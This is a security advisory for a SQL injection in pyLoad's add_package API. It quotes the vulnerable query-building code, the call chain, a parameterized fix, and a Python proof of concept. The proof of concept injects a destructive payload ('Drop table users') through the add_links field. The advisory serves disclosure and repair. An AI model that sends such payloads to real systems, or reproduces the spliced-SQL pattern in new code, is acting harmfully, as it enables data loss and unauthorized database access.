PYSEC-2026-1821

Summary

The parameter add_links in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.

Details

• Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271

• Affected code:

  @style.queue
      def update_link_info(self, data):
          """
          data is list of tuples (name, size, status, url)
          """
          self.c.executemany(
              "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)",
              data,
          )
          ids = []
          statuses = "','".join(x[3] for x in data)
          self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')")
          for r in self.c:
              ids.append(int(r[0]))
          return ids
  
  

  statuses is constructed from data, and data is the value of the addlinks parameter entered by the user through /json/addpackge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.

• Vulnerability Chain

  josn_blueprint.py#add_package
  src/pyload/core/api/__init__.py#add_package
  src/pyload/core/managers/file_manager.py#add_links
  src/pyload/core/threads/info_thread.py#run
  src/pyload/core/threads/info_thread.py#update_info
  src/pyload/core/managers/file_manager.py#update_file_info
  src/pyload/core/database/file_database.py#update_link_info
  

PoC

import requests


if __name__ == "__main__":
    url = "http://localhost:8000/json/add_package"
    data = {
        "add_name": "My Downloads1",
        "add_dest": "0",
        "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--",
        "add_password": "mypassword"
    }

    response = requests.post(url, cookies=your_cookies, data=data)
    print(response.status_code, response.text)

Remediation

```python def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, )

# 提取所有url
urls = [x[3] for x in data]

# 构建参数化查询，避免SQL注入
placeholders = ','.join(['?'] * len(urls))
query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)"
self.c.execute(query, urls)

ids = [int(row[0]) for row in self.c.fetchall()]
return ids

```

Impact

Attackers can modify or delete data in the database, causing data errors or loss.